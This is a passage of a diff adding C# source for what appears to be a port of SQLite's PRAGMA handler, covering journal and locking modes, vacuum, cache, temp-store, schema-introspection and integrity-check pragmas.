databases, as well as the main db file. + ** + ** Also, the sqlite3.dfltLockMode variable is set so that + ** any subsequently attached databases also use the specified + ** locking mode. + */ + int ii; + Debug.Assert( pDb == db.aDb[0] ); + for ( ii = 2 ; ii < db.nDb ; ii++ ) + { + pPager = sqlite3BtreePager( db.aDb[ii].pBt ); + sqlite3PagerLockingMode( pPager, eMode ); + } + db.dfltLockMode = (u8)eMode; + } + pPager = sqlite3BtreePager( pDb.pBt ); + eMode = sqlite3PagerLockingMode( pPager, eMode ) ? 1 : 0; + } + + Debug.Assert( eMode == PAGER_LOCKINGMODE_NORMAL || eMode == PAGER_LOCKINGMODE_EXCLUSIVE ); + if ( eMode == PAGER_LOCKINGMODE_EXCLUSIVE ) + { + zRet = "exclusive"; + } + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "locking_mode", SQLITE_STATIC ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, zRet, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + else + /* + ** PRAGMA [database.]journal_mode + ** PRAGMA [database.]journal_mode = (delete|persist|off|truncate|memory) + */ + if ( zLeft == "journal_mode" ) + { + int eMode; + string[] azModeName = new string[] { +"delete", "persist", "off", "truncate", "memory" +}; + + if ( null == zRight ) + { + eMode = PAGER_JOURNALMODE_QUERY; + } + else + { + int n = sqlite3Strlen30( zRight ); + eMode = azModeName.Length - 1;//sizeof(azModeName)/sizeof(azModeName[0]) - 1; + while ( eMode >= 0 && String.Compare( zRight, azModeName[eMode], true ) != 0 ) + { + eMode--; + } + } + if ( pId2.n == 0 && eMode == PAGER_JOURNALMODE_QUERY ) + { + /* Simple "PRAGMA journal_mode;" statement. This is a query for + ** the current default journal mode (which may be different to + ** the journal-mode of the main database). + */ + eMode = db.dfltJournalMode; + } + else + { + Pager pPager; + if ( pId2.n == 0 ) + { + /* This indicates that no database name was specified as part + ** of the PRAGMA command. In this case the journal-mode must be + ** set on all attached databases, as well as the main db file. + ** + ** Also, the sqlite3.dfltJournalMode variable is set so that + ** any subsequently attached databases also use the specified + ** journal mode. + */ + int ii; + Debug.Assert( pDb == db.aDb[0] ); + for ( ii = 1 ; ii < db.nDb ; ii++ ) + { + if ( db.aDb[ii].pBt != null ) + { + pPager = sqlite3BtreePager( db.aDb[ii].pBt ); + sqlite3PagerJournalMode( pPager, eMode ); + } + } + db.dfltJournalMode = (u8)eMode; + } + pPager = sqlite3BtreePager( pDb.pBt ); + eMode = sqlite3PagerJournalMode( pPager, eMode ); + } + Debug.Assert( eMode == PAGER_JOURNALMODE_DELETE + || eMode == PAGER_JOURNALMODE_TRUNCATE + || eMode == PAGER_JOURNALMODE_PERSIST + || eMode == PAGER_JOURNALMODE_OFF + || eMode == PAGER_JOURNALMODE_MEMORY ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "journal_mode", SQLITE_STATIC ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, + azModeName[eMode], P4_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + else + + /* + ** PRAGMA [database.]journal_size_limit + ** PRAGMA [database.]journal_size_limit=N + ** + ** Get or set the size limit on rollback journal files. + */ + if ( sqlite3StrICmp( zLeft, "journal_size_limit" ) == 0 ) + { + Pager pPager = sqlite3BtreePager( pDb.pBt ); + i64 iLimit = -2; + if ( !String.IsNullOrEmpty( zRight ) ) + { + sqlite3Atoi64( zRight, ref iLimit ); + if ( iLimit < -1 ) iLimit = -1; + } + iLimit = sqlite3PagerJournalSizeLimit( pPager, iLimit ); + returnSingleInt( pParse, "journal_size_limit", iLimit ); + } + else + +#endif // * SQLITE_OMIT_PAGER_PRAGMAS */ + + /* +** PRAGMA [database.]auto_vacuum +** PRAGMA [database.]auto_vacuum=N +** +** Get or set the value of the database 'auto-vacuum' parameter. +** The value is one of: 0 NONE 1 FULL 2 INCREMENTAL +*/ +#if !SQLITE_OMIT_AUTOVACUUM + if ( sqlite3StrICmp( zLeft, "auto_vacuum" ) == 0 ) + { + Btree pBt = pDb.pBt; + Debug.Assert( pBt != null ); + if ( sqlite3ReadSchema( pParse ) != 0 ) + { + goto pragma_out; + } + if ( null == zRight ) + { + int auto_vacuum; + if ( ALWAYS( pBt ) ) + { + auto_vacuum = sqlite3BtreeGetAutoVacuum( pBt ); + } + else + { + auto_vacuum = SQLITE_DEFAULT_AUTOVACUUM; + } + returnSingleInt( pParse, "auto_vacuum", auto_vacuum ); + } + else + { + int eAuto = getAutoVacuum( zRight ); + Debug.Assert( eAuto >= 0 && eAuto <= 2 ); + db.nextAutovac = (u8)eAuto; + if ( ALWAYS( eAuto >= 0 ) ) + { + /* Call SetAutoVacuum() to set initialize the internal auto and + ** incr-vacuum flags. This is required in case this connection + ** creates the database file. It is important that it is created + ** as an auto-vacuum capable db. + */ + int rc = sqlite3BtreeSetAutoVacuum( pBt, eAuto ); + if ( rc == SQLITE_OK && ( eAuto == 1 || eAuto == 2 ) ) + { + /* When setting the auto_vacuum mode to either "full" or + ** "incremental", write the value of meta[6] in the database + ** file. Before writing to meta[6], check that meta[3] indicates + ** that this really is an auto-vacuum capable database. + */ + VdbeOpList[] setMeta6 = new VdbeOpList[] { +new VdbeOpList( OP_Transaction, 0, 1, 0), /* 0 */ +new VdbeOpList( OP_ReadCookie, 0, 1, BTREE_LARGEST_ROOT_PAGE), /* 1 */ +new VdbeOpList( OP_If, 1, 0, 0), /* 2 */ +new VdbeOpList( OP_Halt, SQLITE_OK, OE_Abort, 0), /* 3 */ +new VdbeOpList( OP_Integer, 0, 1, 0), /* 4 */ +new VdbeOpList( OP_SetCookie, 0, BTREE_INCR_VACUUM, 1), /* 5 */ +}; + int iAddr; + iAddr = sqlite3VdbeAddOpList( v, ArraySize( setMeta6 ), setMeta6 ); + sqlite3VdbeChangeP1( v, iAddr, iDb ); + sqlite3VdbeChangeP1( v, iAddr + 1, iDb ); + sqlite3VdbeChangeP2( v, iAddr + 2, iAddr + 4 ); + sqlite3VdbeChangeP1( v, iAddr + 4, eAuto - 1 ); + sqlite3VdbeChangeP1( v, iAddr + 5, iDb ); + sqlite3VdbeUsesBtree( v, iDb ); + } + } + } + } + else +#endif + + /* +** PRAGMA [database.]incremental_vacuum(N) +** +** Do N steps of incremental vacuuming on a database. +*/ +#if !SQLITE_OMIT_AUTOVACUUM + if ( sqlite3StrICmp( zLeft, "incremental_vacuum" ) == 0 ) + { + int iLimit = 0, addr; + if ( sqlite3ReadSchema( pParse ) != 0 ) + { + goto pragma_out; + } + if ( zRight == null || !sqlite3GetInt32( zRight, ref iLimit ) || iLimit <= 0 ) + { + iLimit = 0x7fffffff; + } + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3VdbeAddOp2( v, OP_Integer, iLimit, 1 ); + addr = sqlite3VdbeAddOp1( v, OP_IncrVacuum, iDb ); + sqlite3VdbeAddOp1( v, OP_ResultRow, 1 ); + sqlite3VdbeAddOp2( v, OP_AddImm, 1, -1 ); + sqlite3VdbeAddOp2( v, OP_IfPos, 1, addr ); + sqlite3VdbeJumpHere( v, addr ); + } + else +#endif + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** PRAGMA [database.]cache_size +** PRAGMA [database.]cache_size=N +** +** The first form reports the current local setting for the +** page cache size. The local setting can be different from +** the persistent cache size value that is stored in the database +** file itself. The value returned is the maximum number of +** pages in the page cache. The second form sets the local +** page cache size value. It does not change the persistent +** cache size stored on the disk so the cache size will revert +** to its default value when the database is closed and reopened. +** N should be a positive integer. +*/ + if ( sqlite3StrICmp( zLeft, "cache_size" ) == 0 ) + { + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + if ( null == zRight ) + { + returnSingleInt( pParse, "cache_size", pDb.pSchema.cache_size ); + } + else + { + int size = atoi( zRight ); + if ( size < 0 ) size = -size; + pDb.pSchema.cache_size = size; + sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); + } + } + else + + /* + ** PRAGMA temp_store + ** PRAGMA temp_store = "default"|"memory"|"file" + ** + ** Return or set the local value of the temp_store flag. Changing + ** the local value does not make changes to the disk file and the default + ** value will be restored the next time the database is opened. + ** + ** Note that it is possible for the library compile-time options to + ** override this setting + */ + if ( sqlite3StrICmp( zLeft, "temp_store" ) == 0 ) + { + if ( zRight == null ) + { + returnSingleInt( pParse, "temp_store", db.temp_store ); + } + else + { + changeTempStorage( pParse, zRight ); + } + } + else + + /* + ** PRAGMA temp_store_directory + ** PRAGMA temp_store_directory = ""|"directory_name" + ** + ** Return or set the local value of the temp_store_directory flag. Changing + ** the value sets a specific directory to be used for temporary files. + ** Setting to a null string reverts to the default temporary directory search. + ** If temporary directory is changed, then invalidateTempStorage. + ** + */ + if ( sqlite3StrICmp( zLeft, "temp_store_directory" ) == 0 ) + { + if ( null == zRight ) + { + if ( sqlite3_temp_directory != "" ) + { + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, + "temp_store_directory", SQLITE_STATIC ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, sqlite3_temp_directory, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + } + else + { +#if !SQLITE_OMIT_WSD + if ( zRight.Length > 0 ) + { + int rc; + int res = 0; + rc = sqlite3OsAccess( db.pVfs, zRight, SQLITE_ACCESS_READWRITE, ref res ); + if ( rc != SQLITE_OK || res == 0 ) + { + sqlite3ErrorMsg( pParse, "not a writable directory" ); + goto pragma_out; + } + } + if ( SQLITE_TEMP_STORE == 0 + || ( SQLITE_TEMP_STORE == 1 && db.temp_store <= 1 ) + || ( SQLITE_TEMP_STORE == 2 && db.temp_store == 1 ) + ) + { + invalidateTempStorage( pParse ); + } + //sqlite3_free( ref sqlite3_temp_directory ); + if ( zRight.Length > 0 ) + { + sqlite3_temp_directory = zRight;//sqlite3DbStrDup(0, zRight); + } + else + { + sqlite3_temp_directory = ""; + } +#endif //* SQLITE_OMIT_WSD */ + } + } + else + +#if !(SQLITE_ENABLE_LOCKING_STYLE) +# if (__APPLE__) +//# define SQLITE_ENABLE_LOCKING_STYLE 1 +# else + //# define SQLITE_ENABLE_LOCKING_STYLE 0 +# endif +#endif +#if SQLITE_ENABLE_LOCKING_STYLE +/* +** PRAGMA [database.]lock_proxy_file +** PRAGMA [database.]lock_proxy_file = ":auto:"|"lock_file_path" +** +** Return or set the value of the lock_proxy_file flag. Changing +** the value sets a specific file to be used for database access locks. +** +*/ +if ( sqlite3StrICmp( zLeft, "lock_proxy_file" ) == 0 ) +{ +if ( zRight !="") +{ +Pager pPager = sqlite3BtreePager( pDb.pBt ); +int proxy_file_path = 0; +sqlite3_file pFile = sqlite3PagerFile( pPager ); +sqlite3OsFileControl( pFile, SQLITE_GET_LOCKPROXYFILE, +ref proxy_file_path ); + +if ( proxy_file_path!=0 ) +{ +sqlite3VdbeSetNumCols( v, 1 ); +sqlite3VdbeSetColName( v, 0, COLNAME_NAME, +"lock_proxy_file", SQLITE_STATIC ); +sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, proxy_file_path, 0 ); +sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); +} +} +else +{ +Pager pPager = sqlite3BtreePager( pDb.pBt ); +sqlite3_file pFile = sqlite3PagerFile( pPager ); +int res; +int iDummy = 0; +if ( zRight[0]!=0 ) +{ +iDummy = zRight[0]; +res = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE, +ref iDummy ); +} +else +{ +res = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE, +ref iDummy ); +} +if ( res != SQLITE_OK ) +{ +sqlite3ErrorMsg( pParse, "failed to set lock proxy file" ); +goto pragma_out; +} +} +} +else +#endif //* SQLITE_ENABLE_LOCKING_STYLE */ + + /* +** PRAGMA [database.]synchronous +** PRAGMA [database.]synchronous=OFF|ON|NORMAL|FULL +** +** Return or set the local value of the synchronous flag. Changing +** the local value does not make changes to the disk file and the +** default value will be restored the next time the database is +** opened. +*/ + if ( sqlite3StrICmp( zLeft, "synchronous" ) == 0 ) + { + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + if ( null == zRight ) + { + returnSingleInt( pParse, "synchronous", pDb.safety_level - 1 ); + } + else + { + if ( 0 == db.autoCommit ) + { + sqlite3ErrorMsg( pParse, + "Safety level may not be changed inside a transaction" ); + } + else + { + pDb.safety_level = (byte)( getSafetyLevel( zRight ) + 1 ); + } + } + } + else +#endif // * SQLITE_OMIT_PAGER_PRAGMAS */ + +#if !SQLITE_OMIT_FLAG_PRAGMAS + if ( flagPragma( pParse, zLeft, zRight ) != 0 ) + { + /* The flagPragma() subroutine also generates any necessary code + ** there is nothing more to do here */ + } + else +#endif // * SQLITE_OMIT_FLAG_PRAGMAS */ + +#if !SQLITE_OMIT_SCHEMA_PRAGMAS + /* +** PRAGMA table_info(
  • ) +** +** Return a single row for each column of the named table. The columns of +** the returned data set are: +** +** cid: Column id (numbered from left to right, starting at 0) +** name: Column name +** type: Column declaration type. +** notnull: True if 'NOT NULL' is part of column declaration +** dflt_value: The default value for the column, if any. +*/ + if ( sqlite3StrICmp( zLeft, "table_info" ) == 0 && zRight != null ) + { + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + pTab = sqlite3FindTable( db, zRight, zDb ); + if ( pTab != null ) + { + int i; + int nHidden = 0; + Column pCol; + sqlite3VdbeSetNumCols( v, 6 ); + pParse.nMem = 6; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "cid", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "type", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 3, COLNAME_NAME, "notnull", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 4, COLNAME_NAME, "dflt_value", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 5, COLNAME_NAME, "pk", SQLITE_STATIC ); + sqlite3ViewGetColumnNames( pParse, pTab ); + for ( i = 0 ; i < pTab.nCol ; i++ )//, pCol++) + { + pCol = pTab.aCol[i]; + if ( IsHiddenColumn( pCol ) ) + { + nHidden++; + continue; + } + sqlite3VdbeAddOp2( v, OP_Integer, i - nHidden, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pCol.zName, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, + pCol.zType != null ? pCol.zType : "", 0 ); + sqlite3VdbeAddOp2( v, OP_Integer, ( pCol.notNull != 0 ? 1 : 0 ), 4 ); + if ( pCol.zDflt != null ) + { + sqlite3VdbeAddOp4( v, OP_String8, 0, 5, 0, pCol.zDflt, 0 ); + } + else + { + sqlite3VdbeAddOp2( v, OP_Null, 0, 5 ); + } + sqlite3VdbeAddOp2( v, OP_Integer, pCol.isPrimKey != 0 ? 1 : 0, 6 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 6 ); + } + } + } + else + + if ( sqlite3StrICmp( zLeft, "index_info" ) == 0 && zRight != null ) + { + Index pIdx; + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + pIdx = sqlite3FindIndex( db, zRight, zDb ); + if ( pIdx != null ) + { + int i; + pTab = pIdx.pTable; + sqlite3VdbeSetNumCols( v, 3 ); + pParse.nMem = 3; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seqno", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "cid", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "name", SQLITE_STATIC ); + for ( i = 0 ; i < pIdx.nColumn ; i++ ) + { + int cnum = pIdx.aiColumn[i]; + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, cnum, 2 ); + Debug.Assert( pTab.nCol > cnum ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pTab.aCol[cnum].zName, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); + } + } + } + else + + if ( sqlite3StrICmp( zLeft, "index_list" ) == 0 && zRight != null ) + { + Index pIdx; + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + pTab = sqlite3FindTable( db, zRight, zDb ); + if ( pTab != null ) + { + v = sqlite3GetVdbe( pParse ); + pIdx = pTab.pIndex; + if ( pIdx != null ) + { + int i = 0; + sqlite3VdbeSetNumCols( v, 3 ); + pParse.nMem = 3; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "unique", SQLITE_STATIC ); + while ( pIdx != null ) + { + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pIdx.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_Integer, ( pIdx.onError != OE_None ) ? 1 : 0, 3 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); + ++i; + pIdx = pIdx.pNext; + } + } + } + } + else + + if ( sqlite3StrICmp( zLeft, "database_list" ) == 0 ) + { + int i; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + sqlite3VdbeSetNumCols( v, 3 ); + pParse.nMem = 3; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "file", SQLITE_STATIC ); + for ( i = 0 ; i < db.nDb ; i++ ) + { + if ( db.aDb[i].pBt == null ) continue; + Debug.Assert( db.aDb[i].zName != null ); + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, db.aDb[i].zName, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, + sqlite3BtreeGetFilename( db.aDb[i].pBt ), 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); + } + } + else + + if ( sqlite3StrICmp( zLeft, "collation_list" ) == 0 ) + { + int i = 0; + HashElem p; + sqlite3VdbeSetNumCols( v, 2 ); + pParse.nMem = 2; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + for ( p = db.aCollSeq.first ; p != null ; p = p.next )//( p = sqliteHashFirst( db.aCollSeq ) ; p; p = sqliteHashNext( p ) ) + { + CollSeq pColl = ( (CollSeq[])p.data )[0];// sqliteHashData( p ); + sqlite3VdbeAddOp2( v, OP_Integer, i++, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pColl.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 ); + } + } + else +#endif // * SQLITE_OMIT_SCHEMA_PRAGMAS */ + +#if !SQLITE_OMIT_FOREIGN_KEY + if ( sqlite3StrICmp( zLeft, "foreign_key_list" ) == 0 && zRight != null ) + { + FKey pFK; + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + pTab = sqlite3FindTable( db, zRight, zDb ); + if ( pTab != null ) + { + v = sqlite3GetVdbe( pParse ); + pFK = pTab.pFKey; + if ( pFK != null ) + { + int i = 0; + sqlite3VdbeSetNumCols( v, 8 ); + pParse.nMem = 8; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "id", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "table", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 3, COLNAME_NAME, "from", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 4, COLNAME_NAME, "to", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 5, COLNAME_NAME, "on_update", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 6, COLNAME_NAME, "on_delete", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 7, COLNAME_NAME, "match", SQLITE_STATIC ); + while ( pFK != null ) + { + int j; + for ( j = 0 ; j < pFK.nCol ; j++ ) + { + string zCol = pFK.aCol[j].zCol; + string zOnUpdate = actionName( pFK.updateConf ); + string zOnDelete = actionName( pFK.deleteConf ); + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, j, 2 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pFK.zTo, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 4, 0, + pTab.aCol[pFK.aCol[j].iFrom].zName, 0 ); + sqlite3VdbeAddOp4( v, zCol != null ? OP_String8 : OP_Null, 0, 5, 0, zCol, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 6, 0, zOnUpdate, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 7, 0, zOnDelete, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 8, 0, "NONE", 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 8 ); + } + ++i; + pFK = pFK.pNextFrom; + } + } + } + } + else +#endif // * !SQLITE_OMIT_FOREIGN_KEY) */ + +#if !NDEBUG + if ( sqlite3StrICmp( zLeft, "parser_trace" ) == 0 ) + { + if ( zRight != null ) + { + if ( getBoolean( zRight ) != 0 ) + { + sqlite3ParserTrace( Console.Out, "parser: " ); + } + else + { + sqlite3ParserTrace( null, "" ); + } + } + } + else +#endif + + /* Reinstall the LIKE and GLOB functions. The variant of LIKE +** used will be case sensitive or not depending on the RHS. +*/ + if ( sqlite3StrICmp( zLeft, "case_sensitive_like" ) == 0 ) + { + if ( zRight != null ) + { + sqlite3RegisterLikeFunctions( db, getBoolean( zRight ) ); + } + } + else + +#if !SQLITE_INTEGRITY_CHECK_ERROR_MAX + //const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100; +#endif + +#if !SQLITE_OMIT_INTEGRITY_CHECK + /* Pragma "quick_check" is an experimental reduced version of +** integrity_check designed to detect most database corruption +** without most of the overhead of a full integrity-check. +*/ + if ( sqlite3StrICmp( zLeft, "integrity_check" ) == 0 + || sqlite3StrICmp( zLeft, "quick_check" ) == 0 + ) + { + const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100; + int i, j, addr, mxErr; + + /* Code that appears at the end of the integrity check. If no error + ** messages have been generated, output OK. Otherwise output the + ** error message + */ + VdbeOpList[] endCode = new VdbeOpList[] { +new VdbeOpList( OP_AddImm, 1, 0, 0), /* 0 */ +new VdbeOpList( OP_IfNeg, 1, 0, 0), /* 1 */ +new VdbeOpList( OP_String8, 0, 3, 0), /* 2 */ +new VdbeOpList( OP_ResultRow, 3, 1, 0), +}; + + bool isQuick = ( zLeft[0] == 'q' ); + + /* Initialize the VDBE program */ + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + pParse.nMem = 6; + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "integrity_check", SQLITE_STATIC ); + + /* Set the maximum error count */ + mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX; + if ( zRight != null ) + { + mxErr = atoi( zRight ); + if ( mxErr <= 0 ) + { + mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX; + } + } + sqlite3VdbeAddOp2( v, OP_Integer, mxErr, 1 ); /* reg[1] holds errors left */ + + /* Do an integrity check on each database file */ + for ( i = 0 ; i < db.nDb ; i++ ) + { + HashElem x; + Hash pTbls; + int cnt = 0; + + if ( OMIT_TEMPDB != 0 && i == 1 ) continue; + + sqlite3CodeVerifySchema( pParse, i ); + addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Halt if out of errors */ + sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); + sqlite3VdbeJumpHere( v, addr ); + + /* Do an integrity check of the B-Tree + ** + ** Begin by filling registers 2, 3, ... with the root pages numbers + ** for all tables and indices in the database. + */ + pTbls = db.aDb[i].pSchema.tblHash; + for ( x = pTbls.first ; x != null ; x = x.next ) + {// for(x=sqliteHashFirst(pTbls); x; x=sqliteHashNext(x)){ + Table pTab = (Table)x.data;// sqliteHashData( x ); + Index pIdx; + sqlite3VdbeAddOp2( v, OP_Integer, pTab.tnum, 2 + cnt ); + cnt++; + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + sqlite3VdbeAddOp2( v, OP_Integer, pIdx.tnum, 2 + cnt ); + cnt++; + } + } + + /* Make sure sufficient number of registers have been allocated */ + if ( pParse.nMem < cnt + 4 ) + { + pParse.nMem = cnt + 4; + } + + /* Do the b-tree integrity checks */ + sqlite3VdbeAddOp3( v, OP_IntegrityCk, 2, cnt, 1 ); + sqlite3VdbeChangeP5( v, (u8)i ); + addr = sqlite3VdbeAddOp1( v, OP_IsNull, 2 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, + sqlite3MPrintf( db, "*** in database %s ***\n", db.aDb[i].zName ), + P4_DYNAMIC ); + sqlite3VdbeAddOp3( v, OP_Move, 2, 4, 1 ); + sqlite3VdbeAddOp3( v, OP_Concat, 4, 3, 2 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 2, 1 ); + sqlite3VdbeJumpHere( v, addr ); + + /* Make sure all the indices are constructed correctly. + */ + for ( x = pTbls.first ; x != null && !isQuick ; x = x.next ) + { + ;// for(x=sqliteHashFirst(pTbls); x && !isQuick; x=sqliteHashNext(x)){ + Table pTab = (Table)x.data;// sqliteHashData( x ); + Index pIdx; + int loopTop; + + if ( pTab.pIndex == null ) continue; + addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Stop if out of errors */ + sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); + sqlite3VdbeJumpHere( v, addr ); + sqlite3OpenTableAndIndices( pParse, pTab, 1, OP_OpenRead ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, 2 ); /* reg(2) will count entries */ + loopTop = sqlite3VdbeAddOp2( v, OP_Rewind, 1, 0 ); + sqlite3VdbeAddOp2( v, OP_AddImm, 2, 1 ); /* increment entry count */ + for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ ) + { + int jmp2; + VdbeOpList[] idxErr = new VdbeOpList[] { +new VdbeOpList( OP_AddImm, 1, -1, 0), +new VdbeOpList( OP_String8, 0, 3, 0), /* 1 */ +new VdbeOpList( OP_Rowid, 1, 4, 0), +new VdbeOpList( OP_String8, 0, 5, 0), /* 3 */ +new VdbeOpList( OP_String8, 0, 6, 0), /* 4 */ +new VdbeOpList( OP_Concat, 4, 3, 3), +new VdbeOpList( OP_Concat, 5, 3, 3), +new VdbeOpList( OP_Concat, 6, 3, 3), +new VdbeOpList( OP_ResultRow, 3, 1, 0), +new VdbeOpList( OP_IfPos, 1, 0, 0), /* 9 */ +new VdbeOpList( OP_Halt, 0, 0, 0), +}; + sqlite3GenerateIndexKey( pParse, pIdx, 1, 3, true ); + jmp2 = sqlite3VdbeAddOp3( v, OP_Found, j + 2, 0, 3 ); + addr = sqlite3VdbeAddOpList( v, ArraySize( idxErr ), idxErr ); + sqlite3VdbeChangeP4( v, addr + 1, "rowid ", SQLITE_STATIC ); + sqlite3VdbeChangeP4( v, addr + 3, " missing from index ", SQLITE_STATIC ); + sqlite3VdbeChangeP4( v, addr + 4, pIdx.zName, P4_STATIC ); + sqlite3VdbeJumpHere( v, addr + 9 ); + sqlite3VdbeJumpHere( v, jmp2 ); + } + sqlite3VdbeAddOp2( v, OP_Next, 1, loopTop + 1 ); + sqlite3VdbeJumpHere( v, loopTop ); + for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ ) + { + VdbeOpList[] cntIdx = new VdbeOpList[] { +new VdbeOpList( OP_Integer, 0, 3, 0), +new VdbeOpList( OP_Rewind, 0, 0, 0), /* 1 */ +new VdbeOpList( OP_AddImm, 3, 1, 0), +new VdbeOpList( OP_Next, 0, 0, 0), /* 3 */ +new VdbeOpList( OP_Eq, 2, 0, 3), /* 4 */ +new VdbeOpList( OP_AddImm, 1, -1, 0), +new VdbeOpList( OP_String8, 0, 2, 0), /* 6 */ +new VdbeOpList( OP_String8, 0, 3, 0), /* 7 */ +new VdbeOpList( OP_Concat, 3, 2, 2), +new VdbeOpList( OP_ResultRow, 2, 1, 0), +}; + addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); + sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 ); + sqlite3VdbeJumpHere( v, addr ); + addr = sqlite3VdbeAddOpList( v, ArraySize( cntIdx ), cntIdx ); + sqlite3VdbeChangeP1( v, addr + 1, j + 2 ); + sqlite3VdbeChangeP2( v, addr + 1, addr + 4 ); + sqlite3VdbeChangeP1( v, addr + 3, j + 2 ); + sqlite3VdbeChangeP2( v, addr + 3, addr + 2 ); + sqlite3VdbeJumpHere( v, addr + 4 ); + sqlite3VdbeChangeP4( v, addr + 6, + "wrong # of entries in index ", P4_STATIC ); + sqlite3VdbeChangeP4( v, addr + 7, pIdx.zName, P4_STATIC ); + } + } + } + addr = sqlite3VdbeAddOpList( v, ArraySize( 